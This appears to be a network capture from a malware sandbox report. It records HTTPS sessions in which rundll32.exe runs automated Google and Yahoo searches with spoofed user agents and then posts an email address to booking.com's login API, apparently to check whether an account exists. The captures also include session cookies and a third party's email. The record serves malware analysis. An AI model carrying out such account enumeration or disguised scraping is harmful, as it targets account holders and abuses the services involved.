2023-12-10 16:48:07 UTC	555	IN	Data Raw: 73 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 65 73 70 61 6e 6f 6c 2e 79 61 68 6f 6f 2e 63 6f 6d 22 20 68 72 65 66 6c 61 6e 67 3d 22 65 73 2d 75 73 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 72 2e 79 61 68 6f 6f 2e 63 6f 6d 22 20 68 72 65 66 6c 61 6e 67 3d 22 66 72 2d 66 72 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 72 2e 79 61 68 6f 6f 2e 63 6f 6d 22 20 68 72 65 66 6c 61 6e 67 3d 22 70 74 2d 62 72 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e Data Ascii: s"><link rel="alternate" href="https://espanol.yahoo.com" hreflang="es-us"><link rel="alternate" href="https://fr.yahoo.com" hreflang="fr-fr"><link rel="alternate" href="https://br.yahoo.com" hreflang="pt-br"><link rel="alternate" href="https://www.yahoo.
2023-12-10 16:48:07 UTC	1300	IN	Data Raw: 37 66 66 39 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6e 6f 6e 63 65 3d 22 32 64 66 61 34 37 34 65 31 39 33 64 36 65 31 63 36 62 37 61 34 33 36 33 31 63 64 31 37 64 39 32 32 63 34 34 65 64 32 65 30 32 33 61 39 39 36 33 64 31 31 66 61 36 38 34 36 34 38 37 30 35 62 63 22 3e 2f 2a 20 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 64 72 2f 66 70 2f 63 73 73 2f 66 75 73 69 6f 6e 2e 61 74 6f 6d 69 63 2e 32 38 35 31 36 36 32 37 39 37 61 64 30 32 38 36 64 37 39 39 65 64 37 65 33 62 32 65 64 33 31 65 2e 63 73 73 20 2a 2f 20 23 61 74 6f 6d 69 63 20 2e 42 64 63 5c 28 2d 2d 66 70 2d 68 72 5c 29 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 66 70 2d 68 72 29 7d 23 61 74 6f 6d 69 63 20 2e 42 64 63 5c 28 5c 24 63 Data Ascii: 7ff9<style type="text/css" nonce="2dfa474e193d6e1c6b7a43631cd17d922c44ed2e023a9963d11fa684648705bc">/* https://s.yimg.com/dr/fp/css/fusion.atomic.2851662797ad0286d799ed7e3b2ed31e.css */ #atomic .Bdc$--fp-hr${border-color:var(--fp-hr)}#atomic .Bdc\(\$c
2023-12-10 16:48:07 UTC	1300	IN	Data Raw: 61 63 6b 67 72 6f 75 6e 64 5c 29 5c 3a 66 3a 66 6f 63 75 73 2c 23 61 74 6f 6d 69 63 20 2e 42 67 63 5c 28 2d 2d 66 70 2d 62 61 63 6b 67 72 6f 75 6e 64 5c 29 5c 3a 68 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 66 70 2d 62 61 63 6b 67 72 6f 75 6e 64 29 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 5c 23 38 32 38 61 39 33 5c 29 7b 63 6f 6c 6f 72 3a 23 38 32 38 61 39 33 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 2d 2d 62 61 74 74 6c 65 73 68 69 70 5c 29 2c 23 61 74 6f 6d 69 63 20 2e 43 5c 28 2d 2d 62 61 74 74 6c 65 73 68 69 70 5c 29 5c 3a 5c 3a 70 68 3a 3a 70 6c 61 63 65 68 6f 6c 64 65 72 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 61 74 74 6c 65 73 68 69 70 29 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 2d 2d 62 6c 75 72 70 6c 65 Data Ascii: ackground\)\:f:focus,#atomic .Bgc$--fp-background$\:h:hover{background-color:var(--fp-background)}#atomic .C$\#828a93${color:#828a93}#atomic .C$--battleship$,#atomic .C$--battleship$\:\:ph::placeholder{color:var(--battleship)}#atomic .C\(--blurple
2023-12-10 16:48:07 UTC	1300	IN	Data Raw: 34 70 78 7d 23 61 74 6f 6d 69 63 20 2e 47 70 5c 28 31 37 70 78 5c 29 7b 67 61 70 3a 31 37 70 78 7d 23 61 74 6f 6d 69 63 20 2e 47 70 5c 28 32 30 70 78 5c 29 7b 67 61 70 3a 32 30 70 78 7d 2e 61 63 74 69 76 65 20 2e 61 63 74 69 76 65 5f 48 5c 28 38 70 78 5c 29 7b 68 65 69 67 68 74 3a 38 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 31 36 30 70 78 5c 29 7b 68 65 69 67 68 74 3a 31 36 30 70 78 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 31 37 70 78 5c 29 7b 68 65 69 67 68 74 3a 31 37 70 78 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 32 36 70 78 5c 29 7b 68 65 69 67 68 74 3a 32 36 70 78 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 34 30 5c 25 5c 29 7b 68 65 69 67 68 74 3a 34 30 25 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 36 30 5c 25 5c 29 7b 68 65 69 Data Ascii: 4px}#atomic .Gp$17px${gap:17px}#atomic .Gp$20px${gap:20px}.active .active_H$8px${height:8px!important}#atomic .H$160px${height:160px}#atomic .H$17px${height:17px}#atomic .H$26px${height:26px}#atomic .H$40\%${height:40%}#atomic .H$60\%${hei

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49727	142.250.217.196	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:48:14 UTC	790	OUT	GET /search?q=e+k+marine&ie=utf-8&oe=utf-8&num=100&hl=en&gl=US&uule=w+CAIQICIPTmV3IFlvcmssTlksVVNB HTTP/1.1 Host: www.google.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36 Cookie: CONSENT=YES+US.en Referer: https://www.google.com/ Connection: close sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="102" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "macOS" Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-12-10 16:48:15 UTC	2323	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 6f 72 72 79 2f 69 6e 64 65 78 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 65 61 72 63 68 25 33 46 71 25 33 44 65 25 32 42 6b 25 32 42 6d 61 72 69 6e 65 25 32 36 69 65 25 33 44 75 74 66 2d 38 25 32 36 6f 65 25 33 44 75 74 66 2d 38 25 32 36 6e 75 6d 25 33 44 31 30 30 25 32 36 68 6c 25 33 44 65 6e 25 32 36 67 6c 25 33 44 55 53 25 32 36 75 75 6c 65 25 33 44 77 25 32 42 43 41 49 51 49 43 49 50 54 6d 56 33 49 46 6c 76 63 6d 73 73 54 6c 6b 73 56 56 4e 42 26 68 6c 3d 65 6e 26 71 3d 45 67 52 6d 67 5a 6a 55 47 4d 37 58 31 36 73 47 49 6a 42 6a 4b 66 Data Ascii: HTTP/1.1 302 FoundLocation: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3De%2Bk%2Bmarine%26ie%3Dutf-8%26oe%3Dutf-8%26num%3D100%26hl%3Den%26gl%3DUS%26uule%3Dw%2BCAIQICIPTmV3IFlvcmssTlksVVNB&hl=en&q=EgRmgZjUGM7X16sGIjBjKf
2023-12-10 16:48:15 UTC	535	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 6f 72 72 79 2f 69 6e 64 65 78 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 65 61 72 63 68 25 33 46 71 25 33 44 65 25 32 42 6b 25 32 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3De%2Bk%2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49730	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:48:16 UTC	661	OUT	GET /search?p=HSA+Administrator&fr=sfp&fr2=sb-top-us.search&iscqry=&vc=us HTTP/1.1 Host: search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:48:16 UTC	2096	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 38 3a 31 36 20 47 4d 54 0d 0a 70 33 70 3a 20 70 6f 6c 69 63 79 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 77 33 63 2f 70 33 70 2e 78 6d 6c 22 2c 20 43 50 3d 22 43 41 4f 20 44 53 50 20 43 4f 52 20 43 55 52 20 41 44 4d 20 44 45 56 20 54 41 49 20 50 53 41 20 50 53 44 20 49 56 41 69 20 49 56 44 69 20 43 4f 4e 69 20 54 45 4c 6f 20 4f 54 50 69 20 4f 55 52 20 44 45 4c 69 20 53 41 4d 69 20 4f 54 52 69 20 55 4e 52 69 20 50 55 42 69 20 49 4e 44 20 50 48 59 20 4f 4e 4c 20 55 4e 49 20 50 55 52 20 46 49 4e 20 43 4f 4d 20 4e 41 56 20 49 4e 54 20 44 45 4d 20 43 4e 54 20 53 54 41 20 50 4f Data Ascii: HTTP/1.1 200 OKdate: Sun, 10 Dec 2023 16:48:16 GMTp3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PO
2023-12-10 16:48:16 UTC	6246	IN	Data Raw: 36 35 37 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 64 3d 22 61 74 6f 6d 69 63 22 20 63 6c 61 73 73 3d 22 4e 6f 4a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 6e 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 Data Ascii: 657<!doctype html><html id="atomic" class="NoJs" lang="en-US"><head><meta http-equiv="x-dns-prefetch-control" content="on"><meta http-equiv="content-type" content="text/html; charset=UTF-8"><link rel="apple-touch-icon" sizes="76x76" href="https://s.yimg
2023-12-10 16:48:16 UTC	16384	IN	Data Raw: 6e 29 3a 65 26 26 65 2e 63 6c 61 73 73 4e 61 6d 65 26 26 28 74 3d 6e 65 77 20 52 65 67 45 78 70 28 22 28 3f 3a 5e 7c 5c 5c 73 2b 29 22 2b 6d 28 6e 29 2b 22 28 3f 3a 5c 5c 73 2b 7c 24 29 22 29 2c 65 2e 63 6c 61 73 73 4e 61 6d 65 3d 66 28 65 2e 63 6c 61 73 73 4e 61 6d 65 2e 72 65 70 6c 61 63 65 28 74 2c 22 20 22 29 29 29 7d 2c 74 26 26 74 2e 66 6f 72 45 61 63 68 3f 74 2e 66 6f 72 45 61 63 68 28 65 29 3a 65 28 74 29 29 7d 2c 61 64 64 43 6c 61 73 73 3a 66 75 6e 63 74 69 6f 6e 20 79 28 74 2c 6e 29 7b 76 61 72 20 65 3b 30 3c 6e 2e 69 6e 64 65 78 4f 66 28 22 20 22 29 3f 6e 2e 73 70 6c 69 74 28 22 20 22 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 79 28 74 2c 65 29 7d 29 3a 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 2e 63 6c 61 Data Ascii: n):e&&e.className&&(t=new RegExp("(?:^\|\\s+)"+m(n)+"(?:\\s+\|$)"),e.className=f(e.className.replace(t," ")))},t&&t.forEach?t.forEach(e):e(t))},addClass:function y(t,n){var e;0<n.indexOf(" ")?n.split(" ").forEach(function(e){y(t,e)}):(e=function(e){e&&e.cla
2023-12-10 16:48:17 UTC	16384	IN	Data Raw: 6e 6e 6f 74 2d 66 6c 61 67 22 7d 2c 22 69 6d 67 22 29 29 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 7d 2c 69 2e 73 72 63 3d 70 2e 66 6c 61 67 2c 63 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 69 29 29 2c 73 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 29 29 2c 6c 2e 6d 61 72 6b 65 72 73 29 29 26 26 6f 5b 22 6d 22 2b 74 5d 2c 30 3d 3d 65 2e 69 64 78 26 26 72 26 26 72 2e 74 79 70 65 26 26 28 73 2e 63 6c 61 73 73 4e 61 6d 65 2b 3d 22 20 62 69 6c 6c 62 6f 61 72 64 20 22 2b 72 2e 74 79 70 65 29 2c 6c 2e 72 69 63 68 43 6c 61 73 73 26 26 28 6e 7c 7c 61 29 26 26 28 73 2e 63 6c 61 73 73 4e 61 6d 65 2b 3d 22 20 22 2b 6c 2e 72 69 63 68 43 6c 61 73 73 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 Data Ascii: nnot-flag"},"img")).onerror=function(e){i.style.display="none"},i.src=p.flag,c.appendChild(i)),s.appendChild(c)),l.markers))&&o["m"+t],0==e.idx&&r&&r.type&&(s.className+=" billboard "+r.type),l.richClass&&(n\|\|a)&&(s.className+=" "+l.richClass)))}function
2023-12-10 16:48:17 UTC	16384	IN	Data Raw: 6e 66 69 67 3d 7b 6c 6f 67 3a 7b 5f 72 3a 32 2c 61 63 74 6e 3a 22 63 6c 6b 22 2c 70 6f 73 3a 31 2c 73 65 63 3a 22 73 65 61 72 63 68 22 2c 73 6c 6b 3a 22 63 6c 65 61 72 73 65 61 72 63 68 22 2c 74 31 3a 22 68 64 72 22 2c 74 32 3a 22 73 65 61 72 63 68 22 2c 74 33 3a 22 63 6c 65 61 72 22 2c 74 34 3a 22 63 6c 65 61 72 73 65 61 72 63 68 22 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 4d 74 28 29 7b 74 68 69 73 2e 63 6f 6e 66 69 67 3d 7b 63 73 73 3a 7b 6e 61 6d 65 73 70 61 63 65 3a 22 73 61 2d 66 65 65 64 62 61 63 6b 22 7d 2c 74 65 78 74 3a 7b 72 65 70 6f 72 74 3a 22 52 65 70 6f 72 74 20 69 6e 61 70 70 72 6f 70 72 69 61 74 65 20 70 72 65 64 69 63 74 69 6f 6e 73 22 2c 77 68 69 63 68 3a 22 57 68 69 63 68 20 70 72 65 64 69 63 74 69 6f 6e 73 20 77 65 72 65 20 69 6e 61 70 70 Data Ascii: nfig={log:{_r:2,actn:"clk",pos:1,sec:"search",slk:"clearsearch",t1:"hdr",t2:"search",t3:"clear",t4:"clearsearch"}}}function Mt(){this.config={css:{namespace:"sa-feedback"},text:{report:"Report inappropriate predictions",which:"Which predictions were inapp
2023-12-10 16:48:17 UTC	16384	IN	Data Raw: 63 74 69 6f 6e 28 29 7b 6f 2e 72 65 61 64 79 53 74 61 74 65 3d 3d 3d 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 2e 44 4f 4e 45 26 26 28 65 2e 6d 61 69 6e 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 2c 65 2e 74 68 61 6e 6b 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 62 6c 6f 63 6b 22 29 7d 2c 6f 2e 73 65 6e 64 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 7d 2c 73 68 6f 77 50 61 6e 65 6c 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 72 65 70 6f 72 74 50 61 6e 65 6c 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 62 6c 6f 63 6b 22 2c 74 68 69 73 2e 6d 61 69 6e 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 62 6c 6f 63 6b 22 2c 74 68 69 73 2e 74 68 61 6e 6b 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 Data Ascii: ction(){o.readyState===XMLHttpRequest.DONE&&(e.main.style.display="none",e.thank.style.display="block")},o.send(JSON.stringify(t))}},showPanel:function(){this.reportPanel.style.display="block",this.main.style.display="block",this.thank.style.display="none
2023-12-10 16:48:17 UTC	9806	IN	Data Raw: 2c 2e 73 70 63 68 63 20 2e 73 70 65 61 6b 69 6e 67 20 2e 6d 69 63 72 6f 70 68 6f 6e 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 70 76 2f 73 74 61 74 69 63 2f 69 6d 67 2f 76 6f 69 63 65 53 65 61 72 63 68 31 78 2d 31 36 32 30 33 38 33 35 33 31 35 36 35 2e 6d 69 6e 2e 70 6e 67 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 69 6e 69 74 69 61 6c 3b 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 2c 6f 6e 6c 79 20 73 Data Ascii: ,.spchc .speaking .microphone{background-image:url(https://s.yimg.com/pv/static/img/voiceSearch1x-1620383531565.min.png);background-repeat:no-repeat;background-size:initial;color:transparent}@media only screen and (-webkit-min-device-pixel-ratio:2),only s
2023-12-10 16:48:17 UTC	8040	IN	Data Raw: 35 61 32 0d 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 6f 61 2f 63 6f 6e 73 65 6e 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 27 6e 65 36 2b 57 2f 44 61 67 34 75 58 44 76 6f 2f 32 35 50 59 56 51 3d 3d 27 3e 21 66 75 6e 63 74 69 6f 6e 28 6e 2c 63 29 7b 6e 2e 63 6d 70 4a 53 49 6e 69 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 2c 65 3b 6e 2e 63 6d 70 4a 53 49 6e 69 74 44 6f 6e 65 7c 7c 28 74 3d 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 68 65 61 64 22 29 5b 30 5d 2c 28 65 3d 63 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 Data Ascii: 5a2<script async src="https://s.yimg.com/oa/consent.js"></script><script type="text/javascript" nonce='ne6+W/Dag4uXDvo/25PYVQ=='>!function(n,c){n.cmpJSInit=function(){var t,e;n.cmpJSInitDone\|\|(t=c.getElementsByTagName("head")[0],(e=c.createElement("scri
2023-12-10 16:48:17 UTC	13050	IN	Data Raw: 33 32 66 32 0d 0a 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 72 2e 73 65 61 72 63 68 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 5f 79 6c 74 3d 41 77 72 46 44 32 76 51 36 33 56 6c 39 73 6f 72 49 6b 78 58 4e 79 6f 41 2f 52 56 3d 32 2f 52 45 3d 31 37 30 32 32 35 35 36 39 36 2f 52 4f 3d 31 30 2f 52 55 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 73 70 6f 72 74 73 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 66 61 6e 74 61 73 79 25 32 66 2f 52 4b 3d 32 2f 52 53 3d 33 68 66 57 6b 67 48 50 64 39 38 34 50 36 7a 7a 45 45 46 50 6c 52 72 63 50 5f 30 2d 22 20 63 6c 61 73 73 3d 22 61 70 70 2d 69 74 65 6d 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 2d 77 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 75 68 61 2d 69 63 6f 20 75 68 61 2d 66 61 6e 74 61 73 79 Data Ascii: 32f2<li><a href="https://r.search.yahoo.com/_ylt=AwrFD2vQ63Vl9sorIkxXNyoA/RV=2/RE=1702255696/RO=10/RU=https%3a%2f%2fsports.yahoo.com%2ffantasy%2f/RK=2/RS=3hfWkgHPd984P6zzEEFPlRrcP_0-" class="app-item"><span class="ico-w"><span class="uha-ico uha-fantasy
2023-12-10 16:48:17 UTC	1872	IN	Data Raw: 35 61 32 0d 0a 3c 2f 66 6f 72 6d 3e 3c 2f 64 69 76 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 27 6e 65 36 2b 57 2f 44 61 67 34 75 58 44 76 6f 2f 32 35 50 59 56 51 3d 3d 27 3e 69 66 28 77 69 6e 64 6f 77 2e 59 41 48 4f 4f 20 26 26 20 77 69 6e 64 6f 77 2e 59 41 48 4f 4f 2e 53 41 29 7b 77 69 6e 64 6f 77 2e 59 41 48 4f 4f 2e 53 41 2e 69 6e 69 74 28 7b 22 65 6c 65 6d 73 22 3a 7b 22 73 62 46 6f 72 6d 22 3a 22 73 66 22 2c 22 73 62 49 6e 70 75 74 22 3a 22 79 73 63 68 73 70 22 2c 22 73 62 43 6c 65 61 72 22 3a 22 73 62 71 2d 63 6c 65 61 72 22 2c 22 73 62 53 75 62 6d 69 74 22 3a 22 73 62 71 2d 73 75 62 6d 69 74 22 7d 2c 22 73 61 22 3a 7b 22 63 73 73 22 3a 22 73 61 2d 6c 69 73 74 2d 63 74 6e 22 7d Data Ascii: 5a2</form></div><script type="text/javascript" nonce='ne6+W/Dag4uXDvo/25PYVQ=='>if(window.YAHOO && window.YAHOO.SA){window.YAHOO.SA.init({"elems":{"sbForm":"sf","sbInput":"yschsp","sbClear":"sbq-clear","sbSubmit":"sbq-submit"},"sa":{"css":"sa-list-ctn"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49736	18.244.102.65	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:48:20 UTC	578	OUT	POST /api/identity/authenticate/v1.0/enter/email/submit HTTP/1.1 Host: account.booking.com Keep-Alive: 300 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36 Content-Type: application/json Content-Length: 75 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 Origin: https://account.booking.com Referer: https://account.booking.com/ X-Booking-Client: ap X-Requested-With: XMLHttpRequest
2023-12-10 16:48:20 UTC	75	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 66 69 65 72 22 3a 7b 22 74 79 70 65 22 3a 22 49 44 45 4e 54 49 46 49 45 52 5f 54 59 50 45 5f 5f 45 4d 41 49 4c 22 2c 22 76 61 6c 75 65 22 3a 22 65 6d 69 6c 6c 79 40 69 6e 6d 61 69 6c 2e 73 6b 22 7d 7d Data Ascii: {"identifier":{"type":"IDENTIFIER_TYPE__EMAIL","value":"emilly@inmail.sk"}}
2023-12-10 16:48:21 UTC	2682	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 73 65 72 76 65 72 3a 20 65 6e 76 6f 79 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 38 3a 32 31 20 47 4d 54 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 62 6b 6e 67 5f 61 70 5f 73 73 6f 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 69 62 32 39 72 61 57 35 6e 58 32 64 73 62 32 4a 68 62 43 49 36 65 79 4a 7a 5a 58 4e 7a 61 57 39 75 63 79 49 36 57 31 30 73 49 6d 52 68 64 47 46 66 63 33 56 69 61 6d 56 6a Data Ascii: HTTP/1.1 200 OKContent-Type: application/json; charset=UTF-8Transfer-Encoding: chunkedConnection: closeserver: envoydate: Sun, 10 Dec 2023 16:48:21 GMTset-cookie: bkng_ap_sso_session=eyJib29raW5nX2dsb2JhbCI6eyJzZXNzaW9ucyI6W10sImRhdGFfc3ViamVj
